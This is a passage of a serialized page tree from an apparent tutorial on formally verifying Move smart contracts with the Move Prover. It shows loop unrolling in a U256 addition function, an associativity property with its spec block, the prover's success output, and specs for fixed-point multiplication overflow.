class":932,"line":1066},[14675,14679,14683,14687,14691,14695,14699,14703,14707,14711,14715,14719,14723,14727,14731,14735,14739,14743,14747,14751],{"type":24,"tag":930,"props":14676,"children":14677},{"style":1023},[14678],{"type":30,"value":14210},{"type":24,"tag":930,"props":14680,"children":14681},{"style":1023},[14682],{"type":30,"value":11727},{"type":24,"tag":930,"props":14684,"children":14685},{"style":1023},[14686],{"type":30,"value":11732},{"type":24,"tag":930,"props":14688,"children":14689},{"style":937},[14690],{"type":30,"value":6164},{"type":24,"tag":930,"props":14692,"children":14693},{"style":1242},[14694],{"type":30,"value":1245},{"type":24,"tag":930,"props":14696,"children":14697},{"style":1158},[14698],{"type":30,"value":6173},{"type":24,"tag":930,"props":14700,"children":14701},{"style":1023},[14702],{"type":30,"value":6854},{"type":24,"tag":930,"props":14704,"children":14705},{"style":1158},[14706],{"type":30,"value":476},{"type":24,"tag":930,"props":14708,"children":14709},{"style":1023},[14710],{"type":30,"value":11531},{"type":24,"tag":930,"props":14712,"children":14713},{"style":959},[14714],{"type":30,"value":6849},{"type":24,"tag":930,"props":14716,"children":14717},{"style":1023},[14718],{"type":30,"value":11765},{"type":24,"tag":930,"props":14720,"children":14721},{"style":959},[14722],{"type":30,"value":11770},{"type":24,"tag":930,"props":14724,"children":14725},{"style":1158},[14726],{"type":30,"value":1239},{"type":24,"tag":930,"props":14728,"children":14729},{"style":1023},[14730],{"type":30,"value":11779},{"type":24,"tag":930,"props":14732,"children":14733},{"style":959},[14734],{"type":30,"value":6849},{"type":24,"tag":930,"props":14736,"children":14737},{"style":1023},[14738],{"type":30,"value":11765},{"type":24,"tag":930,"props":14740,"children":14741},{"style":959},[14742],{"type":30,"value":11770},{"type":24,"tag":930,"props":14744,"children":14745},{"style":1158},[14746],{"type":30,"value":1410},{"type":24,"tag":930,"props":14748,"children":14749},{"style":1023},[14750],{"type":30,"value":11596},{"type":24,"tag":930,"props":14752,"children":14753},{"style":959},[14754],{"type":30,"value":5539},{"type":24,"tag":930,"props":14756,"children":14757},{"class":932,"line":1075},[14758],{"type":24,"tag":930,"props":14759,"children":14760},{"style":959},[14761],{"type":30,"value":12030},{"type":24,"tag":930,"props":14763,"children":14764},{"class":932,"line":1122},[14765,14769,14773,14777,14781],{"type":24,"tag":930,"props":14766,"children":14767},{"style":959},[14768],{"type":30,"value":14359},{"type":24,"tag":930,"props":14770,"children":14771},{"style":1023},[14772],{"type":30,"value":6854},{"type":24,"tag":930,"props":14774,"children":14775},{"style":1158},[14776],{"type":30,"value":11828},{"type":24,"tag":930,"props":14778,"children":14779},{"style":1023},[14780],{"type":30,"value":11596},{"type":24,"tag":930,"props":14782,"children":14783},{"style":959},[14784],{"type":30,"value":1054},{"type":24,"tag":930,"props":14786,"children":14787},{"class":932,"line":1131},[14788],{"type":24,"tag":930,"props":14789,"children":14790},{"style":959},[14791],{"type":30,"value":14383},{"type":24,"tag":33,"props":14793,"children":14794},{},[14795],{"type":30,"value":14796},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":24,"tag":33,"props":14798,"children":14799},{},[14800,14802,14807],{"type":30,"value":14801},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":24,"tag":156,"props":14803,"children":14805},{"className":14804},[],[14806],{"type":30,"value":3184},{"type":30,"value":14808}," function will always iterate exactly 4 times:",{"type":24,"tag":920,"props":14810,"children":14812},{"code":14811,"language":6101,"meta":7,"className":6102,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[14813],{"type":24,"tag":156,"props":14814,"children":14815},{"__ignoreMap":7},[14816,14824,14857,14864,14880,14887,14911,14935,14980,15024,15031],{"type":24,"tag":930,"props":14817,"children":14818},{"class":932,"line":933},[14819],{"type":24,"tag":930,"props":14820,"children":14821},{"style":1422},[14822],{"type":30,"value":14823},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":24,"tag":930,"props":14825,"children":14826},{"class":932,"line":984},[14827,14831,14836,14840,14844,14848,14853],{"type":24,"tag":930,"props":14828,"children":14829},{"style":937},[14830],{"type":30,"value":12762},{"type":24,"tag":930,"props":14832,"children":14833},{"style":959},[14834],{"type":30,"value":14835}," WORDS",{"type":24,"tag":930,"props":14837,"children":14838},{"style":1158},[14839],{"type":30,"value":476},{"type":24,"tag":930,"props":14841,"children":14842},{"style":943},[14843],{"type":30,"value":8972},{"type":24,"tag":930,"props":14845,"children":14846},{"style":1158},[14847],{"type":30,"value":6137},{"type":24,"tag":930,"props":14849,"children":14850},{"style":1242},[14851],{"type":30,"value":14852}," 4",{"type":24,"tag":930,"props":14854,"children":14855},{"style":959},[14856],{"type":30,"value":5539},{"type":24,"tag":930,"props":14858,"children":14859},{"class":932,"line":993},[14860],{"type":24,"tag":930,"props":14861,"children":14862},{"emptyLinePlaceholder":16},[14863],{"type":30,"value":2412},{"type":24,"tag":930,"props":14865,"children":14866},{"class":932,"line":1057},[14867,14871,14875],{"type":24,"tag":930,"props":14868,"children":14869},{"style":959},[14870],{"type":30,"value":6849},{"type":24,"tag":930,"props":14872,"children":14873},{"style":1158},[14874],{"type":30,"value":12699},{"type":24,"tag":930,"props":14876,"children":14877},{"style":959},[14878],{"type":30,"value":14879},"]\n",{"type":24,"tag":930,"props":14881,"children":14882},{"class":932,"line":1066},[14883],{"type":24,"tag":930,"props":14884,"children":14885},{"emptyLinePlaceholder":16},[14886],{"type":30,"value":2412},{"type":24,"tag":930,"props":14888,"children":14889},{"class":932,"line":1075},[14890,14895,14899,14903,14907],{"type":24,"tag":930,"props":14891,"children":14892},{"style":937},[14893],{"type":30,"value":14894},"let",{"type":24,"tag":930,"props":14896,"children":14897},{"style":1023},[14898],{"type":30,"value":6515},{"type":24,"tag":930,"props":14900,"children":14901},{"style":1158},[14902],{"type":30,"value":6137},{"type":24,"tag":930,"props":14904,"children":14905},{"style":1242},[14906],{"type":30,"value":1245},{"type":24,"tag":930,"props":14908,"children":14909},{"style":959},[14910],{"type":30,"value":5539},{"type":24,"tag":930,"props":14912,"children":14913},{"class":932,"line":1122},[14914,14918,14922,14926,14930],{"type":24,"tag":930,"props":14915,"children":14916},{"style":1079},[14917],{"type":30,"value":14568},{"type":24,"tag":930,"props":14919,"children":14920},{"style":959},[14921],{"type":30,"value":1087},{"type":24,"tag":930,"props":14923,"children":14924},{"style":1023},[14925],{"type":30,"value":6854},{"type":24,"tag":930,"props":14927,"children":14928},{"style":1158},[14929],{"type":30,"value":11828},{"type":24,"tag":930,"props":14931,"children":14932},{"style":959},[14933],{"type":30,"value":14934}," WORDS) {\n",{"type":24,"tag":930,"props":14936,"children":14937},{"class":932,"line":1131},[14938,14942,14947,14951,14956,14960,14964,14968,14972,14976],{"type":24,"tag":930,"props":14939,"children":14940},{"style":937},[14941],{"type":30,"value":6122},{"type":24,"tag":930,"props":14943,"children":14944},{"style":1023},[14945],{"type":30,"value":14946}," a1",{"type":24,"tag":930,"props":14948,"children":14949},{"style":1158},[14950],{"type":30,"value":6137},{"type":24,"tag":930,"props":14952,"children":14953},{"style":1002},[14954],{"type":30,"value":14955}," get",{"type":24,"tag":930,"props":14957,"children":14958},{"style":959},[14959],{"type":30,"value":1010},{"type":24,"tag":930,"props":14961,"children":14962},{"style":1158},[14963],{"type":30,"value":6230},{"type":24,"tag":930,"props":14965,"children":14966},{"style":1023},[14967],{"type":30,"value":37},{"type":24,"tag":930,"props":14969,"children":14970},{"style":959},[14971],{"type":30,"value":962},{"type":24,"tag":930,"props":14973,"children":14974},{"style":1023},[14975],{"type":30,"value":6854},{"type":24,"tag":930,"props":14977,"children":14978},{"style":959},[14979],{"type":30,"value":1278},{"type":24,"tag":930,"props":14981,"children":14982},{"class":932,"line":1144},[14983,14987,14992,14996,15000,15004,15008,15012,15016,15020],{"type":24,"tag":930,"props":14984,"children":14985},{"style":937},[14986],{"type":30,"value":6122},{"type":24,"tag":930,"props":14988,"children":14989},{"style":1023},[14990],{"type":30,"value":14991}," b1",{"type":24,"tag":930,"props":14993,"children":14994},{"style":1158},[14995],{"type":30,"value":6137},{"type":24,"tag":930,"props":14997,"children":14998},{"style":1002},[14999],{"type":30,"value":14955},{"type":24,"tag":930,"props":15001,"children":15002},{"style":959},[15003],{"type":30,"value":1010},{"type":24,"tag":930,"props":15005,"children":15006},{"style":1158},[15007],{"type":30,"value":6230},{"type":24,"tag":930,"props":15009,"children":15010},{"style":1023},[15011],{"type":30,"value":6343},{"type":24,"tag":930,"props":15013,"children":15014},{"style":959},[15015],{"type":30,"value":962},{"type":24,"tag":930,"props":15017,"children":15018},{"style":1023},[15019],{"type":30,"value":6854},{"type":24,"tag":930,"props":15021,"children":15022},{"style":959},[15023],{"type":30,"value":1278},{"type":24,"tag":930,"props":15025,"children":15026},{"class":932,"line":1169},[15027],{"type":24,"tag":930,"props":15028,"children":15029},{"emptyLinePlaceholder":16},[15030],{"type":30,"value":2412},{"type":24,"tag":930,"props":15032,"children":15033},{"class":932,"line":1191},[15034,15038,15042],{"type":24,"tag":930,"props":15035,"children":15036},{"style":959},[15037],{"type":30,"value":6849},{"type":24,"tag":930,"props":15039,"children":15040},{"style":1158},[15041],{"type":30,"value":12699},{"type":24,"tag":930,"props":15043,"children":15044},{"style":959},[15045],{"type":30,"value":14879},{"type":24,"tag":33,"props":15047,"children":15048},{},[15049],{"type":30,"value":15050},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":24,"tag":920,"props":15052,"children":15054},{"code":15053},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[15055],{"type":24,"tag":156,"props":15056,"children":15057},{"__ignoreMap":7},[15058],{"type":30,"value":15053},{"type":24,"tag":33,"props":15060,"children":15061},{},[15062,15064,15069,15070,15076],{"type":30,"value":15063},"For the ",{"type":24,"tag":275,"props":15065,"children":15066},{},[15067],{"type":30,"value":15068},"Associative Property",{"type":30,"value":1087},{"type":24,"tag":156,"props":15071,"children":15073},{"className":15072},[],[15074],{"type":30,"value":15075},"a+(b+c) = (a+b)+c",{"type":30,"value":15077},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":24,"tag":920,"props":15079,"children":15081},{"code":15080,"language":6101,"meta":7,"className":6102,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[15082],{"type":24,"tag":156,"props":15083,"children":15084},{"__ignoreMap":7},[15085,15162,15201,15242,15281,15322,15329,15379,15419],{"type":24,"tag":930,"props":15086,"children":15087},{"class":932,"line":933},[15088,15092,15097,15101,15105,15109,15113,15117,15121,15125,15129,15133,15137,15141,15145,15149,15153,15158],{"type":24,"tag":930,"props":15089,"children":15090},{"style":1023},[15091],{"type":30,"value":10219},{"type":24,"tag":930,"props":15093,"children":15094},{"style":1002},[15095],{"type":30,"value":15096}," add_assoc_property",{"type":24,"tag":930,"props":15098,"children":15099},{"style":959},[15100],{"type":30,"value":1010},{"type":24,"tag":930,"props":15102,"children":15103},{"style":1023},[15104],{"type":30,"value":37},{"type":24,"tag":930,"props":15106,"children":15107},{"style":1158},[15108],{"type":30,"value":476},{"type":24,"tag":930,"props":15110,"children":15111},{"style":943},[15112],{"type":30,"value":7843},{"type":24,"tag":930,"props":15114,"children":15115},{"style":959},[15116],{"type":30,"value":962},{"type":24,"tag":930,"props":15118,"children":15119},{"style":1023},[15120],{"type":30,"value":6343},{"type":24,"tag":930,"props":15122,"children":15123},{"style":1158},[15124],{"type":30,"value":476},{"type":24,"tag":930,"props":15126,"children":15127},{"style":943},[15128],{"type":30,"value":7843},{"type":24,"tag":930,"props":15130,"children":15131},{"style":959},[15132],{"type":30,"value":962},{"type":24,"tag":930,"props":15134,"children":15135},{"style":1023},[15136],{"type":30,"value":6268},{"type":24,"tag":930,"props":15138,"children":15139},{"style":1158},[15140],{"type":30,"value":476},{"type":24,"tag":930,"props":15142,"children":15143},{"style":943},[15144],{"type":30,"value":7843},{"type":24,"tag":930,"props":15146,"children":15147},{"style":959},[15148],{"type":30,"value":6249},{"type":24,"tag":930,"props":15150,"children":15151},{"style":1158},[15152],{"type":30,"value":476},{"type":24,"tag":930,"props":15154,"children":15155},{"style":943},[15156],{"type":30,"value":15157}," bool",{"type":24,"tag":930,"props":15159,"children":15160},{"style":959},[15161],{"type":30,"value":981},{"type":24,"tag":930,"props":15163,"children":15164},{"class":932,"line":984},[15165,15169,15173,15177,15181,15185,15189,15193,15197],{"type":24,"tag":930,"props":15166,"children":15167},{"style":937},[15168],{"type":30,"value":6122},{"type":24,"tag":930,"props":15170,"children":15171},{"style":1023},[15172],{"type":30,"value":11301},{"type":24,"tag":930,"props":15174,"children":15175},{"style":1158},[15176],{"type":30,"value":6137},{"type":24,"tag":930,"props":15178,"children":15179},{"style":1002},[15180],{"type":30,"value":12689},{"type":24,"tag":930,"props":15182,"children":15183},{"style":959},[15184],{"type":30,"value":1010},{"type":24,"tag":930,"props":15186,"children":15187},{"style":1023},[15188],{"type":30,"value":6343},{"type":24,"tag":930,"props":15190,"children":15191},{"style":959},[15192],{"type":30,"value":962},{"type":24,"tag":930,"props":15194,"children":15195},{"style":1023},[15196],{"type":30,"value":6268},{"type":24,"tag":930,"props":15198,"children":15199},{"style":959},[15200],{"type":30,"value":1278},{"type":24,"tag":930,"props":15202,"children":15203},{"class":932,"line":993},[15204,15208,15213,15217,15221,15225,15229,15233,15238],{"type":24,"tag":930,"props":15205,"children":15206},{"style":937},[15207],{"type":30,"value":6122},{"type":24,"tag":930,"props":15209,"children":15210},{"style":1023},[15211],{"type":30,"value":15212}," result_11",{"type":24,"tag":930,"props":15214,"children":15215},{"style":1158},[15216],{"type":30,"value":6137},{"type":24,"tag":930,"props":15218,"children":15219},{"style":1002},[15220],{"type":30,"value":12689},{"type":24,"tag":930,"props":15222,"children":15223},{"style":959},[15224],{"type":30,"value":1010},{"type":24,"tag":930,"props":15226,"children":15227},{"style":1023},[15228],{"type":30,"value":37},{"type":24,"tag":930,"props":15230,"children":15231},{"style":959},[15232],{"type":30,"value":962},{"type":24,"tag":930,"props":15234,"children":15235},{"style":1023},[15236],{"type":30,"value":15237},"result_1",{"type":24,"tag":930,"props":15239,"children":15240},{"style":959},[15241],{"type":30,"value":1278},{"type":24,"tag":930,"props":15243,"children":15244},{"class":932,"line":1057},[15245,15249,15253,15257,15261,15265,15269,15273,15277],{"type":24,"tag":930,"props":15246,"children":15247},{"style":937},[15248],{"type":30,"value":6122},{"type":24,"tag":930,"props":15250,"children":15251},{"style":1023},[15252],{"type":30,"value":11327},{"type":24,"tag":930,"props":15254,"children":15255},{"style":1158},[15256],{"type":30,"value":6137},{"type":24,"tag":930,"props":15258,"children":15259},{"style":1002},[15260],{"type":30,"value":12689},{"type":24,"tag":930,"props":15262,"children":15263},{"style":959},[15264],{"type":30,"value":1010},{"type":24,"tag":930,"props":15266,"children":15267},{"style":1023},[15268],{"type":30,"value":37},{"type":24,"tag":930,"props":15270,"children":15271},{"style":959},[15272],{"type":30,"value":962},{"type":24,"tag":930,"props":15274,"children":15275},{"style":1023},[15276],{"type":30,"value":6343},{"type":24,"tag":930,"props":15278,"children":15279},{"style":959},[15280],{"type":30,"value":1278},{"type":24,"tag":930,"props":15282,"children":15283},{"class":932,"line":1066},[15284,15288,15293,15297,15301,15305,15309,15313,15318],{"type":24,"tag":930,"props":15285,"children":15286},{"style":937},[15287],{"type":30,"value":6122},{"type":24,"tag":930,"props":15289,"children":15290},{"style":1023},[15291],{"type":30,"value":15292}," result_22",{"type":24,"tag":930,"props":15294,"children":15295},{"style":1158},[15296],{"type":30,"value":6137},{"type":24,"tag":930,"props":15298,"children":15299},{"style":1002},[15300],{"type":30,"value":12689},{"type":24,"tag":930,"props":15302,"children":15303},{"style":959},[15304],{"type":30,"value":1010},{"type":24,"tag":930,"props":15306,"children":15307},{"style":1023},[15308],{"type":30,"value":6268},{"type":24,"tag":930,"props":15310,"children":15311},{"style":959},[15312],{"type":30,"value":962},{"type":24,"tag":930,"props":15314,"children":15315},{"style":1023},[15316],{"type":30,"value":15317},"result_2",{"type":24,"tag":930,"props":15319,"children":15320},{"style":959},[15321],{"type":30,"value":1278},{"type":24,"tag":930,"props":15323,"children":15324},{"class":932,"line":1075},[15325],{"type":24,"tag":930,"props":15326,"children":15327},{"emptyLinePlaceholder":16},[15328],{"type":30,"value":2412},{"type":24,"tag":930,"props":15330,"children":15331},{"class":932,"line":1122},[15332,15336,15340,15344,15349,15353,15357,15362,15366,15370,15375],{"type":24,"tag":930,"props":15333,"children":15334},{"style":937},[15335],{"type":30,"value":6122},{"type":24,"tag":930,"props":15337,"children":15338},{"style":1023},[15339],{"type":30,"value":10970},{"type":24,"tag":930,"props":15341,"children":15342},{"style":1158},[15343],{"type":30,"value":6137},{"type":24,"tag":930,"props":15345,"children":15346},{"style":1002},[15347],{"type":30,"value":15348}," compare",{"type":24,"tag":930,"props":15350,"children":15351},{"style":959},[15352],{"type":30,"value":1010},{"type":24,"tag":930,"props":15354,"children":15355},{"style":1158},[15356],{"type":30,"value":6230},{"type":24,"tag":930,"props":15358,"children":15359},{"style":1023},[15360],{"type":30,"value":15361},"result_11",{"type":24,"tag":930,"props":15363,"children":15364},{"style":959},[15365],{"type":30,"value":962},{"type":24,"tag":930,"props":15367,"children":15368},{"style":1158},[15369],{"type":30,"value":6230},{"type":24,"tag":930,"props":15371,"children":15372},{"style":1023},[15373],{"type":30,"value":15374},"result_22",{"type":24,"tag":930,"props":15376,"children":15377},{"style":959},[15378],{"type":30,"value":1278},{"type":24,"tag":930,"props":15380,"children":15381},{"class":932,"line":1131},[15382,15387,15392,15396,15400,15405,15409,15414],{"type":24,"tag":930,"props":15383,"children":15384},{"style":1079},[15385],{"type":30,"value":15386},"    if",{"type":24,"tag":930,"props":15388,"children":15389},{"style":959},[15390],{"type":30,"value":15391}," ( ",{"type":24,"tag":930,"props":15393,"children":15394},{"style":1023},[15395],{"type":30,"value":11035},{"type":24,"tag":930,"props":15397,"children":15398},{"style":1158},[15399],{"type":30,"value":6402},{"type":24,"tag":930,"props":15401,"children":15402},{"style":959},[15403],{"type":30,"value":15404}," EQUAL ) ",{"type":24,"tag":930,"props":15406,"children":15407},{"style":937},[15408],{"type":30,"value":7110},{"type":24,"tag":930,"props":15410,"children":15411},{"style":1079},[15412],{"type":30,"value":15413}," else",{"type":24,"tag":930,"props":15415,"children":15416},{"style":937},[15417],{"type":30,"value":15418}," false\n",{"type":24,"tag":930,"props":15420,"children":15421},{"class":932,"line":1144},[15422],{"type":24,"tag":930,"props":15423,"children":15424},{"style":959},[15425],{"type":30,"value":2528},{"type":24,"tag":33,"props":15427,"children":15428},{},[15429],{"type":30,"value":15430},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":24,"tag":920,"props":15432,"children":15434},{"code":15433,"language":6101,"meta":7,"className":6102,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[15435],{"type":24,"tag":156,"props":15436,"children":15437},{"__ignoreMap":7},[15438,15453,15557,15581],{"type":24,"tag":930,"props":15439,"children":15440},{"class":932,"line":933},[15441,15445,15449],{"type":24,"tag":930,"props":15442,"children":15443},{"style":1023},[15444],{"type":30,"value":11384},{"type":24,"tag":930,"props":15446,"children":15447},{"style":1023},[15448],{"type":30,"value":15096},{"type":24,"tag":930,"props":15450,"children":15451},{"style":959},[15452],{"type":30,"value":981},{"type":24,"tag":930,"props":15454,"children":15455},{"class":932,"line":984},[15456,15460,15464,15469,15473,15477,15481,15485,15489,15493,15497,15501,15505,15509,15513,15517,15521,15525,15529,15533,15537,15541,15545,15549,15553],{"type":24,"tag":930,"props":15457,"children":15458},{"style":1023},[15459],{"type":30,"value":13010},{"type":24,"tag":930,"props":15461,"children":15462},{"style":959},[15463],{"type":30,"value":1087},{"type":24,"tag":930,"props":15465,"children":15466},{"style":1002},[15467],{"type":30,"value":15468},"value_of_U256",{"type":24,"tag":930,"props":15470,"children":15471},{"style":959},[15472],{"type":30,"value":1010},{"type":24,"tag":930,"props":15474,"children":15475},{"style":1023},[15476],{"type":30,"value":37},{"type":24,"tag":930,"props":15478,"children":15479},{"style":959},[15480],{"type":30,"value":5579},{"type":24,"tag":930,"props":15482,"children":15483},{"style":1158},[15484],{"type":30,"value":1400},{"type":24,"tag":930,"props":15486,"children":15487},{"style":1002},[15488],{"type":30,"value":12811},{"type":24,"tag":930,"props":15490,"children":15491},{"style":959},[15492],{"type":30,"value":1010},{"type":24,"tag":930,"props":15494,"children":15495},{"style":1023},[15496],{"type":30,"value":6343},{"type":24,"tag":930,"props":15498,"children":15499},{"style":959},[15500],{"type":30,"value":11946},{"type":24,"tag":930,"props":15502,"children":15503},{"style":1158},[15504],{"type":30,"value":1400},{"type":24,"tag":930,"props":15506,"children":15507},{"style":1002},[15508],{"type":30,"value":12811},{"type":24,"tag":930,"props":15510,"children":15511},{"style":959},[15512],{"type":30,"value":1010},{"type":24,"tag":930,"props":15514,"children":15515},{"style":1023},[15516],{"type":30,"value":6268},{"type":24,"tag":930,"props":15518,"children":15519},{"style":959},[15520],{"type":30,"value":5579},{"type":24,"tag":930,"props":15522,"children":15523},{"style":1158},[15524],{"type":30,"value":13051},{"type":24,"tag":930,"props":15526,"children":15527},{"style":943},[15528],{"type":30,"value":12767},{"type":24,"tag":930,"props":15530,"children":15531},{"style":1158},[15532],{"type":30,"value":12924},{"type":24,"tag":930,"props":15534,"children":15535},{"style":943},[15536],{"type":30,"value":12767},{"type":24,"tag":930,"props":15538,"children":15539},{"style":1158},[15540],{"type":30,"value":12924},{"type":24,"tag":930,"props":15542,"children":15543},{"style":943},[15544],{"type":30,"value":12767},{"type":24,"tag":930,"props":15546,"children":15547},{"style":1158},[15548],{"type":30,"value":12924},{"type":24,"tag":930,"props":15550,"children":15551},{"style":943},[15552],{"type":30,"value":12767},{"type":24,"tag":930,"props":15554,"children":15555},{"style":959},[15556],{"type":30,"value":5539},{"type":24,"tag":930,"props":15558,"children":15559},{"class":932,"line":993},[15560,15564,15568,15572,15577],{"type":24,"tag":930,"props":15561,"children":15562},{"style":1023},[15563],{"type":30,"value":13308},{"type":24,"tag":930,"props":15565,"children":15566},{"style":1023},[15567],{"type":30,"value":12268},{"type":24,"tag":930,"props":15569,"children":15570},{"style":1158},[15571],{"type":30,"value":6402},{"type":24,"tag":930,"props":15573,"children":15574},{"style":937},[15575],{"type":30,"value":15576}," true",{"type":24,"tag":930,"props":15578,"children":15579},{"style":959},[15580],{"type":30,"value":5539},{"type":24,"tag":930,"props":15582,"children":15583},{"class":932,"line":1057},[15584],{"type":24,"tag":930,"props":15585,"children":15586},{"style":959},[15587],{"type":30,"value":2528},{"type":24,"tag":33,"props":15589,"children":15590},{},[15591],{"type":30,"value":15592},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":24,"tag":920,"props":15594,"children":15595},{"code":15053},[15596],{"type":24,"tag":156,"props":15597,"children":15598},{"__ignoreMap":7},[15599],{"type":30,"value":15053},{"type":24,"tag":33,"props":15601,"children":15602},{},[15603,15605,15612],{"type":30,"value":15604},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":24,"tag":37,"props":15606,"children":15609},{"href":15607,"rel":15608},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[41],[15610],{"type":30,"value":15611},"spec-lang.md",{"type":30,"value":15613}," in the Move Repository.",{"type":24,"tag":68,"props":15615,"children":15617},{"id":15616},"use-cases",[15618],{"type":30,"value":15619},"Use Cases",{"type":24,"tag":33,"props":15621,"children":15622},{},[15623],{"type":30,"value":15624},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":24,"tag":33,"props":15626,"children":15627},{},[15628],{"type":30,"value":15629},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":24,"tag":151,"props":15631,"children":15633},{"id":15632},"error-conditions",[15634],{"type":30,"value":15635},"Error Conditions",{"type":24,"tag":33,"props":15637,"children":15638},{},[15639,15641,15647],{"type":30,"value":15640},"Taking an example from ",{"type":24,"tag":156,"props":15642,"children":15644},{"className":15643},[],[15645],{"type":30,"value":15646},"std::fixed_point32",{"type":30,"value":15648},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":24,"tag":920,"props":15650,"children":15652},{"code":15651,"language":6101,"meta":7,"className":6102,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[15653],{"type":24,"tag":156,"props":15654,"children":15655},{"__ignoreMap":7},[15656,15677,15697,15718,15764,15772,15835,15874],{"type":24,"tag":930,"props":15657,"children":15658},{"class":932,"line":933},[15659,15663,15668,15673],{"type":24,"tag":930,"props":15660,"children":15661},{"style":1023},[15662],{"type":30,"value":12038},{"type":24,"tag":930,"props":15664,"children":15665},{"style":1023},[15666],{"type":30,"value":15667}," schema",{"type":24,"tag":930,"props":15669,"children":15670},{"style":943},[15671],{"type":30,"value":15672}," MultiplyAbortsIf",{"type":24,"tag":930,"props":15674,"children":15675},{"style":959},[15676],{"type":30,"value":981},{"type":24,"tag":930,"props":15678,"children":15679},{"class":932,"line":984},[15680,15685,15689,15693],{"type":24,"tag":930,"props":15681,"children":15682},{"style":1023},[15683],{"type":30,"value":15684},"          val",{"type":24,"tag":930,"props":15686,"children":15687},{"style":1158},[15688],{"type":30,"value":476},{"type":24,"tag":930,"props":15690,"children":15691},{"style":1023},[15692],{"type":30,"value":12840},{"type":24,"tag":930,"props":15694,"children":15695},{"style":959},[15696],{"type":30,"value":5539},{"type":24,"tag":930,"props":15698,"children":15699},{"class":932,"line":993},[15700,15705,15709,15714],{"type":24,"tag":930,"props":15701,"children":15702},{"style":1023},[15703],{"type":30,"value":15704},"          multiplier",{"type":24,"tag":930,"props":15706,"children":15707},{"style":1158},[15708],{"type":30,"value":476},{"type":24,"tag":930,"props":15710,"children":15711},{"style":943},[15712],{"type":30,"value":15713}," FixedPoint32",{"type":24,"tag":930,"props":15715,"children":15716},{"style":959},[15717],{"type":30,"value":5539},{"type":24,"tag":930,"props":15719,"children":15720},{"class":932,"line":1057},[15721,15726,15731,15735,15740,15744,15749,15754,15759],{"type":24,"tag":930,"props":15722,"children":15723},{"style":1023},[15724],{"type":30,"value":15725},"          aborts_if",{"type":24,"tag":930,"props":15727,"children":15728},{"style":1002},[15729],{"type":30,"value":15730}," spec_multiply_u64",{"type":24,"tag":930,"props":15732,"children":15733},{"style":959},[15734],{"type":30,"value":1010},{"type":24,"tag":930,"props":15736,"children":15737},{"style":1023},[15738],{"type":30,"value":15739},"val",{"type":24,"tag":930,"props":15741,"children":15742},{"style":959},[15743],{"type":30,"value":962},{"type":24,"tag":930,"props":15745,"children":15746},{"style":1023},[15747],{"type":30,"value":15748},"multiplier",{"type":24,"tag":930,"props":15750,"children":15751},{"style":959},[15752],{"type":30,"value":15753},") > MAX_U64 ",{"type":24,"tag":930,"props":15755,"children":15756},{"style":1023},[15757],{"type":30,"value":15758},"with",{"type":24,"tag":930,"props":15760,"children":15761},{"style":959},[15762],{"type":30,"value":15763}," EMULTIPLICATION;\n",{"type":24,"tag":930,"props":15765,"children":15766},{"class":932,"line":1066},[15767],{"type":24,"tag":930,"props":15768,"children":15769},{"style":959},[15770],{"type":30,"value":15771},"      }\n",{"type":24,"tag":930,"props":15773,"children":15774},{"class":932,"line":1075},[15775,15779,15783,15787,15791,15795,15799,15803,15807,15811,15815,15819,15823,15827,15831],{"type":24,"tag":930,"props":15776,"children":15777},{"style":1023},[15778],{"type":30,"value":12038},{"type":24,"tag":930,"props":15780,"children":15781},{"style":1023},[15782],{"type":30,"value":9320},{"type":24,"tag":930,"props":15784,"children":15785},{"style":1002},[15786],{"type":30,"value":15730},{"type":24,"tag":930,"props":15788,"children":15789},{"style":959},[15790],{"type":30,"value":1010},{"type":24,"tag":930,"props":15792,"children":15793},{"style":1023},[15794],{"type":30,"value":15739},{"type":24,"tag":930,"props":15796,"children":15797},{"style":1158},[15798],{"type":30,"value":476},{"type":24,"tag":930,"props":15800,"children":15801},{"style":1023},[15802],{"type":30,"value":12840},{"type":24,"tag":930,"props":15804,"children":15805},{"style":959},[15806],{"type":30,"value":962},{"type":24,"tag":930,"props":15808,"children":15809},{"style":1023},[15810],{"type":30,"value":15748},{"type":24,"tag":930,"props":15812,"children":15813},{"style":1158},[15814],{"type":30,"value":476},{"type":24,"tag":930,"props":15816,"children":15817},{"style":943},[15818],{"type":30,"value":15713},{"type":24,"tag":930,"props":15820,"children":15821},{"style":959},[15822],{"type":30,"value":6249},{"type":24,"tag":930,"props":15824,"children":15825},{"style":1158},[15826],{"type":30,"value":476},{"type":24,"tag":930,"props":15828,"children":15829},{"style":1023},[15830],{"type":30,"value":12840},{"type":24,"tag":930,"props":15832,"children":15833},{"style":959},[15834],{"type":30,"value":981},{"type":24,"tag":930,"props":15836,"children":15837},{"class":932,"line":1122},[15838,15842,15846,15850,15855,15859,15864,15869],{"type":24,